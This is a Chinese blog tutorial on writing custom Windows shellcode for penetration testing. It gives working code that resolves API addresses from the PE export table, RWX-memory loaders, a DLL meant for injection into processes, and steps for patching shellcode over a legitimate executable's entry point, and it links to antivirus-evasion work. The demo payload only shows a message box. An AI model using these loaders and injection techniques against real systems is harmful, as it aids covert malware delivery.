shellcode是什么意思

一、shellcode編程前置知識(shí)點(diǎn)介紹

shellcode是什么?

shellcode的本質(zhì)其實(shí)就是一段可以自主運(yùn)行的匯編代碼,它沒(méi)有任何文件結(jié)構(gòu),它不依賴(lài)任何編譯環(huán)境,無(wú)法像exe一樣雙擊運(yùn)行。我在這里不再贅述具體的shellcode,你們可以自行在百度上搜索相關(guān)信息。

為什么要自己編寫(xiě)shellcode?

因?yàn)樽罱肽曜鰸B透比較多,使用的shellcode也都是CS或MSF生成的,但是工具自動(dòng)生成的shellcode畢竟是死的,沒(méi)辦法自己擴(kuò)展功能,再比如你知道一個(gè)新的漏洞,但是給的漏洞利用poc只能彈出個(gè)計(jì)算器,想要實(shí)現(xiàn)自己想要功能的shellcode就必須自己編寫(xiě),因此掌握Shellcode編寫(xiě)技術(shù)就顯得尤為重要,并且在緩沖區(qū)溢出和蠕蟲(chóng)病毒上面shellcode也是必不可少的重要角色。

shellcode編寫(xiě)遇到的問(wèn)題

想要自己編寫(xiě)shellcode,前提是必須知道shellcode編寫(xiě)中最重要的幾個(gè)知識(shí)點(diǎn),下面我會(huì)以問(wèn)題的形式把需要解決的幾個(gè)點(diǎn)列一下:

1.Shellcode也是一段程序,如果想正常運(yùn)行也需要用到各種各樣的數(shù)據(jù)(例如全局的字符串等),但是我們都知道全局變量的訪問(wèn)都是固定地址(硬編碼,也就是寫(xiě)死的,沒(méi)辦法改變的),而我們的shellcode可能會(huì)被安排運(yùn)行在任何程序的任何位置,我們要怎樣保證shellcode在這種情況下還能準(zhǔn)確無(wú)誤的訪問(wèn)到所需的數(shù)據(jù)呢?

2.Shellcode也是運(yùn)行在操作系統(tǒng)里的,必然需要調(diào)用一些系統(tǒng)的API,我們要怎樣才能得到這些API的地址呢?

3.如果Shellcode運(yùn)行的程序中沒(méi)有導(dǎo)入我們所需的API,而我們又必須要使用它,我們?cè)撛趺崔k呢?

因?yàn)槠蜻@些問(wèn)題的答案大家可以從FB資深作者Rabbit_Run翻譯的《Windows平臺(tái)shellcode開(kāi)發(fā)入門(mén)一、二、三》三篇文章中尋找尋找答案,基本上把shellcode編寫(xiě)需要了解的前置知識(shí)都涉及了,大家可以帶著問(wèn)題去尋找答案。

二、shellcode編程框架介紹

shellcode編程框架:

在知道了這些前置知識(shí)之后大家如果純手寫(xiě)shellcode的話(huà)還是比較麻煩和困難得,就像寫(xiě)原生的js代碼遠(yuǎn)不如使用jquery等js框架方便且開(kāi)發(fā)快速。因此,我們需要建立一個(gè)方便編寫(xiě)自定義功能的shellcode編程框架?,F(xiàn)在網(wǎng)上很多這種shellcode編程框架,比如TK以前開(kāi)源的一款、OneBugMan老師以前寫(xiě)過(guò)的2款等等,我之前在學(xué)校學(xué)習(xí)的時(shí)候自己寫(xiě)過(guò)一個(gè)shellcode編程框架但是已經(jīng)找不到了,而且搞滲透的這段時(shí)間以前的知識(shí)忘了很多了,所以就參照OneBugMan老師的課程(有興趣的可以去支持一下老師講的公開(kāi)課,講的很好)寫(xiě)了一個(gè)shellcode框架實(shí)踐了一下。

框架結(jié)構(gòu)介紹

shellcode是什么意思

??????????????????????????????????????????????????????????????? 圖1 框架結(jié)構(gòu)圖

在VS2015中,我們使用win32空項(xiàng)目進(jìn)行本次工程創(chuàng)建,并選擇relase/x86配置進(jìn)行編譯。在編譯之前,我們要進(jìn)行如下設(shè)置:

1.創(chuàng)建工程時(shí)關(guān)閉SDL檢查

2.屬性->C/C++->代碼生成->運(yùn)行庫(kù)->多線(xiàn)程 (/MT)如果是debug則設(shè)置成MTD

3.屬性->常規(guī)->平臺(tái)工具集->設(shè)置為visual studio 2015- Windows XP (v140_xp),如果沒(méi)有則可以去安裝上對(duì)應(yīng)的兼容xp的組件

4.屬性->C/C++->代碼生成->禁用安全檢查GS

5.關(guān)閉生成清單 屬性->鏈接器->清單文件->生成清單 選擇否

下面介紹一下每個(gè)文件的作用:

1.api.h——>shellcode所用到系統(tǒng)函數(shù)的函數(shù)指針,以及一個(gè)結(jié)構(gòu)體里面包含了這些函數(shù)指針。

2.header.h——>頭文件及自定義功能函數(shù)的函數(shù)聲明。

3.0.entry.cpp——>框架的入口,創(chuàng)建最后生成的shellcode文件。

4.a.start.cpp——>標(biāo)記shellcode的開(kāi)始位置,用來(lái)進(jìn)行shellcode編寫(xiě)前的前置操作和所用到函數(shù)的初始化

5.b.work.cpp——>shellcode的執(zhí)行,具體功能的實(shí)現(xiàn)

6.z.end.cpp——>標(biāo)記shellcode結(jié)束位置

之所以文件命名的形式按照這種方式命名是因?yàn)榘凑障葦?shù)字再字母,按照前后排列的形式,工程內(nèi)文件這樣命名是為了編譯生成exe的時(shí)候就是按照下圖順序編譯生成的,這樣生成的exe代碼段中函數(shù)排列順序也是按照下圖文件中函數(shù)順序排列的,這樣我們可以很方便的計(jì)算出Shellcode的大小(z.end中的ShellcodeEnd 減去a.start.中的ShellcodeStart就是shellcode的大小),從而把shellcode寫(xiě)入最后生成的文件中。

shellcode是什么意思??????????????????????????????????????????????????????????? 圖2 編譯順序圖

代碼詳細(xì)講解

0.entry.cpp中主要注意的就是修改函數(shù)入口點(diǎn)的名稱(chēng)一定要和自己寫(xiě)的函數(shù)名稱(chēng)一致,否則找不到入口點(diǎn),因?yàn)槲覀冃薷牧巳肟邳c(diǎn)所以一些C形式的函數(shù)不能直接使用了,要改為動(dòng)態(tài)調(diào)用的形式,還有就是我們寫(xiě)入shellcode大小的計(jì)算。

shellcode是什么意思

??????????????????????????????????????????????????????????? 圖3 0.entry.cpp代碼

a.start.cpp中主要是實(shí)現(xiàn)了編寫(xiě)shellcode最重要的幾個(gè)前置準(zhǔn)備:動(dòng)態(tài)獲取kernel32.dll的基質(zhì)和利用PE文件格式的知識(shí)來(lái)獲取GetProcAddress函數(shù)地址,進(jìn)一步獲取LoadLibrary地址,有了這些前置步驟我們才能獲取其他任意API的地址,進(jìn)而實(shí)現(xiàn)我們shellcode的各種功能

shellcode是什么意思???????????????????????????????????????????????? 圖4 獲取kernel32.dll基地址

下面是獲取GetProcAddress函數(shù)地址,之所以GetProcAddress字符串要以下圖那種寫(xiě)法是因?yàn)槿绻褂眠@樣寫(xiě)法char str[]=”xxxxx”;這樣會(huì)把字符串寫(xiě)到程序中的rdata段,就變成了絕對(duì)地址,使用絕對(duì)地址會(huì)使shellcode執(zhí)行錯(cuò)誤。

FARPROC getProcAddress(HMODULE hModuleBase) {     FARPROC pRet = NULL;     PIMAGE_DOS_HEADER lpDosHeader;     PIMAGE_NT_HEADERS32 lpNtHeaders;     PIMAGE_EXPORT_DIRECTORY lpExports;     PWORD lpwOrd;     PDWORD lpdwFunName;     PDWORD lpdwFunAddr;     DWORD dwLoop;      lpDosHeader = (PIMAGE_DOS_HEADER)hModuleBase;     lpNtHeaders = (PIMAGE_NT_HEADERS)((DWORD)hModuleBase + lpDosHeader->e_lfanew);     if (!lpNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].Size)     {         return pRet;     }     if (!lpNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress)     {         return pRet;     }     lpExports = (PIMAGE_EXPORT_DIRECTORY)((DWORD)hModuleBase + (DWORD)lpNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);     if (!lpExports->NumberOfNames)     {         return pRet;     }     lpdwFunName = (PDWORD)((DWORD)hModuleBase + (DWORD)lpExports->AddressOfNames);     lpwOrd = (PWORD)((DWORD)hModuleBase + (DWORD)lpExports->AddressOfNameOrdinals);     lpdwFunAddr = (PDWORD)((DWORD)hModuleBase + (DWORD)lpExports->AddressOfFunctions);     for (dwLoop = 0; dwLoop <= lpExports->NumberOfNames - 1; dwLoop++)     {         char * pszFunction = (char*)(lpdwFunName[dwLoop] + (DWORD)hModuleBase);         if (pszFunction[0] == 'G'             &&pszFunction[1] == 'e'             &&pszFunction[2] == 't'             &&pszFunction[3] == 'P'             &&pszFunction[4] == 'r'             &&pszFunction[5] == 'o'             &&pszFunction[6] == 'c'             &&pszFunction[7] == 'A'             &&pszFunction[8] == 'd'             &&pszFunction[9] == 'd'             &&pszFunction[10] == 'r'             &&pszFunction[11] == 'e'             &&pszFunction[12] == 's'             &&pszFunction[13] == 's')         {             pRet = (FARPROC)(lpdwFunAddr[lpwOrd[dwLoop]] + (DWORD)hModuleBase);             break;         }     }     return pRet; }
下面的初始化函數(shù)部分我們要知道我們使用的函數(shù)在哪個(gè)dll中,比如我們想要使用system()函數(shù)執(zhí)行命令,我們就要通過(guò)下圖方式先載入msvCRT.dll,然后再通過(guò)getprocaddress函數(shù)找到system函數(shù)。別忘記system函數(shù)中所用的命令字符串(例如調(diào)用計(jì)算器)也要像char szCalc[] = { ‘c’,’a’,’l’,’c’,0 };這樣寫(xiě)。shellcode是什么意思??????????????????????????????????????????????????????????????????? 圖5 初始化函數(shù)

具體功能實(shí)現(xiàn)時(shí)只需要記住要將函數(shù)內(nèi)所用到的字符串按照下圖數(shù)組方式聲明即可,這里我們寫(xiě)了示例的功能為 彈出一個(gè)消息框 提示hello,然后創(chuàng)建一個(gè)1.txt文檔。

shellcode是什么意思

?????????????????????????????????????????????????? 圖 6 b.work.cpp具體功能實(shí)現(xiàn)

三、執(zhí)行shellcode

框架代碼寫(xiě)好之后,我們運(yùn)行一下會(huì)在項(xiàng)目目錄里面生成一個(gè)sc.bin文件,這個(gè)文件中我們使用010Editor打開(kāi)sc.bin即可看到生成的shellcode。

shellcode是什么意思?????????????????????????????????????????????????????????????? 圖7 生成的shellcode

下面介紹幾種shellcode運(yùn)行方式:

1、(使用010Editor直接復(fù)制出來(lái)shellcode)直接替換某程序的二進(jìn)制

例如我們想讓dbgview.exe運(yùn)行我們生成的shellcode

第一步:我們使用lordPE查看dbgview.exe程序的入口點(diǎn)。

shellcode是什么意思

然后使用010Editor打開(kāi)dbgview.exe找到入口點(diǎn)位置,從入口點(diǎn)位置刪除掉我們需要替換進(jìn)去的shellcode大小的字節(jié),然后替換成我們的shellcode,保存運(yùn)行即可執(zhí)行我們的shellcode。

2、把shellcode直接寫(xiě)到代碼中生成exe程序運(yùn)行(源碼A)、或者生成dll再寫(xiě)注入器或者使用工具注入到某進(jìn)程中(源碼B)

源碼A

#include <windows.h> #include <stdio.h> #pragma comment(linker, "/section:.data,RWE") unsigned char shellcode[] = "xfcxe8x89x00x00x00x60x89........在這里寫(xiě)入shellcode"; void main() {     __asm     {         mov eax, offset shellcode         jmp eax     } }

源碼B

// dllmain.cpp : 定義 DLL 應(yīng)用程序的入口點(diǎn)。 #include "stdafx.h" #include<windows.h> #include<iostream> //data段可讀寫(xiě) #pragma comment(linker, "/section:.data,RWE")  HANDLE My_hThread = NULL; //void(*ptrceshi)() = NULL; typedef void(__stdcall *CODE) (); unsigned char shellcode[] = "x00x49xbex77x69x6ex.........在這里填入shellcode"; DWORD  WINAPI ceshi(LPVOID pParameter) {     PVOID p = NULL;     if ((p = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE)) == NULL)     {     }         if (!(memcpy(p, shellcode, sizeof(shellcode))))         {         }     CODE code = (CODE)p;     code();     return 0; } BOOL APIENTRY DllMain( HMODULE hModule,                        DWORD  ul_reason_for_call,                        LPVOID lpReserved                      ) {     switch (ul_reason_for_call)     {     case DLL_PROCESS_ATTACH:         My_hThread = ::CreateThread(NULL, 0, &ceshi, 0, 0, 0);//新建線(xiàn)程     case DLL_THREAD_ATTACH:      case DLL_THREAD_DETACH:      case DLL_PROCESS_DETACH:          break;     }     return TRUE; }
具體操作可以參考我發(fā)的上篇文章《shellcode免殺實(shí)戰(zhàn)里面的步驟》。

3、自己寫(xiě)加載器

我們?nèi)绻幌霃?fù)制出來(lái)shellcode運(yùn)行我們也可以直接運(yùn)行我們生成的sc.bin,不過(guò)得需要自己寫(xiě)一個(gè)加載器。

代碼如下

#include<stdio.h> #include<stdlib.h> #include<windows.h> int main(int argc, char* argv[]) {     HANDLE hFile = CreateFileA(argv[1], GENERIC_READ, 0, NULL, OPEN_ALWAYS, 0, NULL);     if (hFile == INVALID_HANDLE_VALUE)     {         printf("Open  File Error!%dn", GetLastError());         return -1;     }     DWORD dwSize;     dwSize = GetFileSize(hFile, NULL);      LPVOID lpAddress = VirtualAlloc(NULL, dwSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);     if (lpAddress == NULL)     {         printf("VirtualAlloc error:%dn", GetLastError());         CloseHandle(hFile);         return -1;      }     DWORD dwRead;     ReadFile(hFile, lpAddress, dwSize, &dwRead, 0);     __asm     {         call lpAddress;      }     _flushall();     system("pause");     return 0; }

寫(xiě)好加載器編譯生成exe以后我們只需要把sc.bin文件拖到生成的exe上就可以自動(dòng)運(yùn)行我們的shellcode,或者使用命令行 >某某.exe sc.bin

4、使用別人寫(xiě)好的加載器

如果大家不想自己寫(xiě)加載器也可以使用別人寫(xiě)好的工具,我以前在看雪上發(fā)現(xiàn)一個(gè)小工具也挺好用的,這個(gè)小工具可以把shellcode轉(zhuǎn)換成字符串形式也可以將字符串形式的shellcode轉(zhuǎn)換成bin文件形式然后再加載運(yùn)行shellcode。

原帖子鏈接工具鏈接

我們可以使用這個(gè)工具執(zhí)行生成的sc.bin文件,只需將該文件拖入工具中,然后點(diǎn)擊轉(zhuǎn)換為字符串形式

shellcode是什么意思

這和我們?cè)?10Editor中看到的是一樣的,相當(dāng)于幫我們自動(dòng)復(fù)制出來(lái)了。

shellcode是什么意思

因?yàn)槲覀兩傻膕c.bin文件是可以直接執(zhí)行的,所以就不需要點(diǎn)擊轉(zhuǎn)成Bin文件了,所以我們直接點(diǎn)擊執(zhí)行shellcode,彈出了Messagebox窗口,我們點(diǎn)擊確定后,又創(chuàng)建了1.txt文檔。

shellcode是什么意思

shellcode是什么意思

至此我們就可以根據(jù)框架舉一反三,編寫(xiě)我們自己功能的shellcode了。

? 版權(quán)聲明
THE END
喜歡就支持一下吧
點(diǎn)贊15 分享